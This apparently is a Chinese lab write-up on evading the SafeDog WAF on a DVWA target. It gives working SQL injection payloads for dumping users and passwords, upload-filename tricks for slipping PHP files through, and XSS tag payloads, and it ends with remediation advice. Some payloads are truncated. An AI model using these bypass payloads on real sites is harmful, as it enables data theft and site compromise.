技术研究 | 绕过WAF的常见Web漏洞利用分析
字数 1019 2025-08-15 21:32:33
绕过WAF的常见Web漏洞利用技术分析
前言
本文以最新版安全狗(WAF)为例,详细总结绕过WAF进行常见WEB漏洞利用的方法。测试环境为PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+安全狗4.0.28330,使用DVWA作为靶场。
免责声明:本文仅用于技术研究与讨论,严禁用于任何非法用途。
SQL注入绕过技术
判断注入存在
方法一:逻辑表达式替换
and 1=1被拦截,但&&可替代andTrue/False替代1=1/1=2- 有效payload:
1' && True --+ 1' && False --+
方法二:内联注释
- MySQL中
/*! */会被执行 - 有效payload:
1' and /*!1*/=/*!1*/ --+ 1' and /*!1*/=/*!2*/ --+
方法三:分块传输
- 使用分块传输插件:https://github.com/c0ny1/chunked-coding-converter
- 将请求改为POST并进行分块传输编码
- 原始payload:
1' and 1=1 --+
猜解字段数
方法一:干扰字符插入
- 在
order by之间插入无效字符 - 有效payload:
1' order/*%%!asd%%%%*/by 3 --+ 1' /*!order/by*/ 3 --+
方法二:分块传输
- 直接使用分块传输:
1' order by 3 --+
获取当前数据库
方法一:组合绕过
- 绕过
union select:1' union/*%%!asd%%%%*/select 1,2 --+ - 绕过
database():database(/*%%!asd%%%%*/) - 完整payload:
1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%
方法二:分块传输
1' union select 1,database() --+
获取数据库表
方法一:空格替换
- 用
/*%%!asd%%%%*/替换空格 - 完整payload:
1' union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%
方法二:分块传输
获取表字段
方法一:
1' union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name='users' --+
方法二:分块传输
获取数据
方法一:
1' union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+
方法二:分块传输
文件上传绕过技术
安全狗通过检测文件扩展名拦截上传,主要检测Content-Disposition和Content-Type。
绕过方法
-
分号结尾:
filename=hhh.php; -
换行分隔:
- 将
.php分开
- 将
-
等号混淆:
filename=="hhh.php" -
分号插入:
filename="hh;h.php" -
多filename:
filename="hhh.txt" filename="hhh.php"
XSS绕过技术
安全狗采用黑名单过滤XSS,可尝试以下标签:
-
audio标签:
<audio src=1 onerror=alert(/xss/);> <audio src=1 onerror=prompt('xss');> -
object标签+base64编码:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
文件包含绕过
通过绝对路径、相对路径加混淆即可绕过。
修复建议
SQL注入防护
- 使用预编译SQL语句和绑定变量
- 严格校验输入数据格式和长度
文件上传防护
- 上传目录设置为不可执行
- 使用随机数改写文件名和路径
- 采用白名单限制文件后缀
XSS防护
- 对用户输入进行HTML转义或编码
- 实现全局Filter过滤器
总结
WAF并非绝对安全,开发者应从代码层面修复漏洞。本文展示的绕过技术旨在提高安全意识,不应被用于非法用途。